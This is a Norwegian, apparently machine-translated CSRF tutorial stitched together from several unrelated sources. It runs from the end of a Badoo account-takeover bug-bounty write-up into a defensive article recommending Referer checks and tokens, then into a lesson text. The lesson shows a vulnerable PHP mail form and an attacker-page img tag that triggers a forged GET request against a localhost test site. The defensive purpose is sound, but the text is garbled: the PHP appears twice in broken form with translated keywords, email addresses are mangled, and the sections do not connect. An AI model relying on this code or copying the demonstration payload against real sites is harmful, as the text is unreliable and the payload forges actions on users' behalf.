    I utgangspunktet, når offeret lastet siden, ville det sende en forespørsel til Badoo-skriptet, plukke opp rt-parameteren for den brukeren og deretter sende forespørselen på vegne av offeret. I dette tilfellet var det koblingen av Mahmouds konto med offerets konto, som gjorde at kontoen ble fullstendig overtatt.

    konklusjoner

    Der det er røyk, er det ild. Her la Mahmoud merke til at rt-parameteren ble returnert forskjellige steder, i spesifikke json-svar. Så han antok riktig at den kunne vises et sted hvor den kunne brukes i dette tilfellet i en js-fil.

    Resultater

    CSRF-angrep representerer en annen farlig angrepsvektor og kan utføres med liten eller ingen aktiv handling fra offerets side. Å finne CSRF-sårbarheter krever litt oppfinnsomhet og, igjen, en vilje til å teste alt.

    Som regel er skjemaer beskyttet som standard av rammeverk som Rails hvis nettstedet sender en POST-forespørsel, men APIer kan

    være en egen historie. For eksempel er Shopify først og fremst skrevet på Ruby on Rails-rammeverket, som gir CSRF-beskyttelse for alle former som standard (selv om det kan deaktiveres). Imidlertid er dette åpenbart ikke nødvendigvis tilfellet for APIer opprettet ved hjelp av dette rammeverket. Til slutt, ta hensyn til anrop som endrer data på serveren (for eksempel en slettehandling) og gjøres ved hjelp av en GET-forespørsel.

    Jeg prøvde å beskrive nøyaktig hva denne sårbarheten er, og, viktigere, hvilke forhold som er nødvendige for å utføre et CSRF-angrep.

    I denne artikkelen vil jeg prøve å snakke om beskyttelse mot angrep av denne typen utenfra:

    • Fra klientsiden - de viktigste måtene å beskytte deg selv på
    • Serverside - riktig applikasjonsdesign

    Hvis du er interessert i hvordan du kan beskytte deg mot CSRF, så velkommen til katt.

    generell informasjon

    Generelt vil jeg minne deg på at CSRF IKKE er en sårbarhet, det er en type angrep. Og dette angrepet utføres på sluttbrukeren av webapplikasjonen ved å bruke en sårbarhet i denne søknaden, som kan kalles "Mangel på riktig verifisering av kilden til forespørselen" (jeg kom opp med navnet selv, ikke døm strengt, men det er sant). Men heretter vil jeg kalle CSRF en sårbarhet og et angrep rullet inn i en som det er enklere, og det er slik det er akseptert =)

    Og siden angrepet utføres på brukeren, så må brukeren forsvare seg... bare tuller =) Faktum er at enhver bruker kan redusere muligheten for dette angrepet på hvilken som helst side han bruker (selv om disse sidene ikke har innebygd beskyttelse mot CSRF). Men i tillegg til brukere, kan nettstedutviklere selv designe applikasjonen sin på en slik måte at de forhindrer muligheten for å utføre dette angrepet på brukerne sine.

    La oss se på beskyttelse fra begge sider.

    Brukerbeskyttelse

    Generelt er alt her veldig banalt:

    • Ikke klikk på lenker som tilbys deg av tredjeparter. Dette er det mest banale rådet, jeg tror alle vet dette allerede, men jeg bestemte meg for å si det igjen.
    • Fjern autoriteten etter at du har fullført arbeidet med et bestemt nettsted. Selv om det er en sårbarhet, vil ikke angriperen kunne utføre handlinger på målområdet på dine vegne.
    • Bruk en separat nettleser eller "private eller anonyme moduser" for å jobbe med viktige nettsteder (ideelt sett, bruk én nettleser for hvert nettsted ^_^ eller enda bedre, en separat datamaskin: D).

    Det er alt. La oss nå gå videre til det viktigste.

    Utviklerbeskyttelse

    Som allerede nevnt, ligger sårbarheten i mangelen på riktig verifisering av kilden til forespørselen. Det vil si at når vi utvikler en applikasjon, må vi bygge inn funksjonalitet for å sjekke denne kilden. Og hva er det første vi tenker på? Ikke sant! Henvisersjekk.

    Henvisersjekk

    Jeg sier det med en gang, for de som leser artikler diagonalt. Å basere forsvaret ditt utelukkende på å sjekke denne headeren er dårlig(!). Hvorfor - se nedenfor.

    Først, la oss finne ut hva denne metoden er.

    Vi jobber med nettsider som bruker HTTP-protokollen. Hver pakke i denne protokollen er et sett med overskrifter + pakkeinnhold. En av disse overskriftene er Referer. Den inneholder adressen til henvisningskilden. Et trivielt eksempel: du har nettsted A åpent, på dette nettstedet klikker du på en lenke til nettsted B, i dette øyeblikket, når du sender en forespørsel, vil Referer-overskriften inneholde adressen til nettsted A. Det vil si at det ser ut til at dette er en ideell mekanisme for å spore hvor brukeren kom fra.

    Her er pepperroten. Og poenget her er ikke at henviseren kan forfalskes (hvilken fornuftig hacker vil be offeret om å erstatte henvisningen og følge den angitte lenken). Og faktum er at, ifølge statistikken min, har omtrent 5% av brukerne Referer-overføringen deaktivert. Det vil si at enten vil disse fem prosentene ikke kunne jobbe med nettstedet i det hele tatt, eller så vil de være sårbare for dette angrepet (avhengig av applikasjonens policy).

    Ja, ja, ja, jeg vet hva du tenker... Vel, hva pokker med disse 5 %? La dem være sårbare, men de resterende 95% er beskyttet og samtidig koster du lite blod. Det vil si at hvis henvisningen inneholder adressen til søknaden vår eller er tom, anser vi kilden som bekreftet? Her kommer pepperroten igjen! Det finnes alternativer for å tvinge offerets nettleser til å oppfylle forespørselen uten å spesifisere henvisningen (jeg skrev om dette)! Og voila! Det viser seg at alle brukere fortsatt er sårbare.

    Generelt som en uavhengig metode denne metoden meningsløs.

    Handlingsbekreftelse

    Du kan legge ved en captcha til hvert innsendingsskjema og vise det til og med til registrerte brukere for å lagre dem fra CSRF... Selv om jeg kanskje foretrekker å gi kontoen min til en hacker enn å jobbe i et slikt system...

    Tokens

    Vel, nå den eneste riktige og pålitelige måten.

    Betydning denne metoden består av å legge til en parameter som inneholder noen "tokens" til hver lenke, innsendingsskjema osv. Og når du mottar en forespørsel, må serveren sjekke tilstedeværelsen av dette tokenet i de aksepterte parameterne. Naturligvis må hvert token for hver bruker være unikt, og enda bedre hvis hvert token er unikt.

    Et av de enkleste og mest pålitelige eksemplene på implementering - et nytt token genereres med hver forespørsel og installeres i brukerens informasjonskapsler og legges også til parametrene til skjemaer og lenker på siden:

    Og så, ved mottak av hver forespørsel, blir tokenet fra informasjonskapslene sammenlignet med tokenet som er spesifisert i skjemaparameterne. Og hvis de er de samme, er kilden til forespørselen lovlig. Deretter genereres tokenet igjen, og settes i informasjonskapselen igjen, osv. rund.

    Generelt kan implementeringen være annerledes, men problemet er at å bytte til tokens er ganske vanskelig siden du må ta hensyn til hver lenke, hvert skjema, hver side... Du kan beskytte bare viktige sider/skjemaer/lenker, men da er det en sjanse til å gå glipp av noen av dem.

    Jeg personlig beskytter kun POST-skjemaer og svært viktige lenker. Det vil si at POST i applikasjonene mine ikke fungerer uten riktig token. Dette eliminerer sjansen for å glemme å beskytte en eller annen form, siden det rett og slett ikke vil fungere, og jeg vil legge merke til det med en gang.

    Konklusjon

    Jeg håper fra denne artikkelen at du forstår hvordan du kan beskytte deg mot CSRF-angrep.

    Fra forfatteren: grunnen til å ta opp denne leksjonen var et spørsmål på forumet vårt, som hørtes slik ut: hvordan beskytte et nettsted mot CSRF-angrep? Selvfølgelig reagerte vi umiddelbart på dette emnet og ga en liten algoritme for å implementere beskyttelsesmekanismen. Men siden mest sannsynlig ikke alle leserne våre leser forumet, bestemte jeg meg for å spille inn en egen leksjon om problemet ovenfor.

    Jeg vil umiddelbart merke meg at den nåværende videoen ikke vil gi en fullverdig ferdig løsning som kan implementeres på den nødvendige nettsiden. Fordi hver av dere har eller vil ha en nettside med en unik logisk struktur, det vil si helt forskjellig fra andre, noe som betyr at det er umulig å lage et ferdiglaget beskyttelsesskript, og observerer absolutt alt mulige alternativer gjennomføring.

    Og dette er ikke nødvendig, siden essensen av beskyttelsesmekanismen er ganske enkel, og derfor vil du i den nåværende videoen, ved å bruke eksempelet på et teststed, se hvordan du kan beskytte deg mot den ovennevnte typen angrep, og deretter, basert på kunnskapen du får, vil du ta lignende steg på ditt eget prosjekt. Så la oss komme i gang.

    CSRF er et akronym dannet av de engelske ordene Cross-Site Request Forgery, som betyr cross-site request forgery. Dette semesteret ble introdusert for ganske lenge siden av Peter Watkins i 2001, men folk begynte å snakke om mulige angrep av denne typen tilbake i 1988. Vær oppmerksom på at det allerede har gått tilstrekkelig lang tid, men fortsatt er de fleste Internett-nettsteder utsatt for dette angrepet. Spørsmålet melder seg umiddelbart - hvorfor er det slik? Og svaret er ganske enkelt og ligger i det faktum at sårbarhet for CSRF-angrep ikke er en feil i applikasjonskoden, men en konsekvens av den helt normale driften av nettleseren og webserveren.

    Essensen av angrepet er at en angriper kan utføre ulike handlinger på et ubeskyttet nettsted på vegne av en annen registrert (autorisert) bruker. Med andre ord denne typen angrep innebærer at brukeren besøker angriperens nettsted, noe som igjen fører til at, ubemerket av ham, utføres noen forhåndsdefinerte handlinger på en annen nettside eller tjeneste som denne brukeren befinner seg på. dette øyeblikket autorisert.

    I dette tilfellet er målene for CSRF-angrep som regel forskjellige interaktive nettapplikasjoner som utfører spesifikke handlinger, for eksempel tjenester for å sende e-post, forskjellige fora, betalingssystemer, etc. Det vil si at en hacker kan utføre noen handlinger på vegne av andre brukere - sende meldinger, legge til nye kontoer, utføre økonomiske transaksjoner, etc.

    La oss nå se på effekten av dette angrepet på eksemplet med en testside.

    La oss si at det er en nettside som har som jobb å sende e-post på den angitte adressen på vegne av en autorisert bruker. Det vil si på hjemmeside vi ser et skjema for å sende en melding. Dessuten er det også en mekanisme for å sende meldinger når du sender visse parametere via en GET-forespørsel (bare for eksempel). Påloggingssiden ser slik ut:

    Denne siden ganske vanlig, men det som fanger oppmerksomheten er avmerkingsboksen "Medlem", som brukes til å lagre autorisasjonsdata i nettleserinformasjonskapsler. Faktisk denne mekanismen veldig praktisk for brukere, siden det forenkler gjentatt tilgang til siden, men svært uønsket fra et sikkerhetssynspunkt. Men likevel, av hensyn til besøkende, må det ofte gjøres visse innrømmelser.

    Koden for å sende meldinger ved hjelp av to metoder (GET og POST) ser omtrent slik ut:

    //Sende en melding if($this->isGet() && !empty($_GET["email"])) ( $body = "Hei, dette er meldingsskjemaet - ".$this->user["name"] ; $body .= " Innhold - fra GET - ".$_GET["innhold"].." Fra - ".$_GET["e-post"]; mail(" [e-postbeskyttet]","New message",$body); ) if($this->isPost()) ( $body = "Hei, dette er meldingsskjemaet - ".$this->user["name"]; $body .= " Innhold - FRA POST - ".$_POST["innhold"]. "Fra - ".$_POST["e-post"]; mail(" [e-postbeskyttet]","Ny melding",$body); )

    //Sende melding

    if ($ this -> isGet () && ! empty ( $ _GET [ "email" ]) ) (

    $body = . $ this -> bruker [ "navn" ] ;

    $body. = "Innhold - fra GET - " . $_GET["innhold"]. "Fra - " . $_GET["e-post"];

    if ($this -> isPost()) (

    $body = "Hei, dette er meldingsskjemaet - " . $ this -> bruker [ "navn" ] ;

    $body. = "Innhold - FRA POST - " . $_POST["innhold"]. "Fra - " . $_POST["e-post"];

    post(" [e-postbeskyttet]", "Ny melding", $body);

    La oss nå se på et annet nettsted - en hackers side.

    Som han kan plassere en ganske enkel, men veldig effektiv kode på hvis det er nødvendig å utføre et angrep på en GET-forespørsel:

    < img src = "http://localhost/csrf/[e-postbeskyttet]&content=Hei verden" >

    Det vil si at vi i hovedsak ser en img-tag, hvis src-attributt inneholder banen til nettstedet som er ment å bli angrepet, med et sett med nødvendige parametere for å utføre en spesifikk handling. I vårt tilfelle er dette å sende en melding, noe som betyr at nå trenger angriperen bare å lokke brukeren til det gjeldende nettstedet, og uten at han vet det, vil en forespørsel bli sendt til nettstedet av interesse, siden nettleseren vil prøve å laste bildet, banen som er spesifisert i src-attributtet. Samtidig husker vi at nettleserinformasjonskapslene lagrer autorisasjonsdata, og selvfølgelig bruker applikasjonen dem umiddelbart, og følgelig vil forespørselen ovenfor bli behandlet av serveren. Dette betyr at en melding vil bli sendt på vegne av brukeren.

    Hvis vi ser på settet med overskrifter som sendes sammen med forespørselen, kan vi faktisk se informasjonskapsler med påloggingsdata regnskap, som selvfølgelig betyr - som nevnt ovenfor - at forespørselen vil bli oppfattet som å komme fra en autentisert bruker.

    Nøyaktig samme situasjon gjelder for å sende en forespørsel. POST metode, bare i dette tilfellet vil angriperen opprette et skjema på nettstedet sitt som automatisk sendes med JavaScript så snart den besøkende kommer inn på dette nettstedet.

    Derfor er det viktig å beskytte deg mot angrep av denne typen og de eneste mest effektiv metode beskyttelse er bruk av spesielle tokens.

    Et sikkerhetstoken er en streng som genereres tilfeldig for en spesifikk bruker og overføres i hver forespørsel som involverer endring av data. I tillegg lagres tokenet også i økten. Dermed kommer essensen av beskyttelse ned til en enkel sjekk av korrespondansen til tokenet som overføres i forespørselen og tokenet som er lagret i økten. Hvis begge tokens er identiske, ble forespørselen sendt av en autorisert bruker. Hvis tokens ikke stemmer overens, eller det ikke er noen token i forespørselen i det hele tatt, kan vi med stor sikkerhet bedømme at et angrep blir utført, noe som betyr at ingen handlinger kan utføres.

    Vær oppmerksom på at absolutt alle forespørsler som er rettet mot å endre eller utføre visse handlinger, må beskyttes.

    Faktisk, på dette stadiet, er tekstdelen av leksjonen fullført, og vi vil fortsette å snakke om det gitte emnet i videoversjonen. Samtidig vil vi vurdere metoder for å generere tokens og praktisk implementere beskyttelsesalgoritmen beskrevet ovenfor. La oss nå si farvel. Lykke til med koding!!!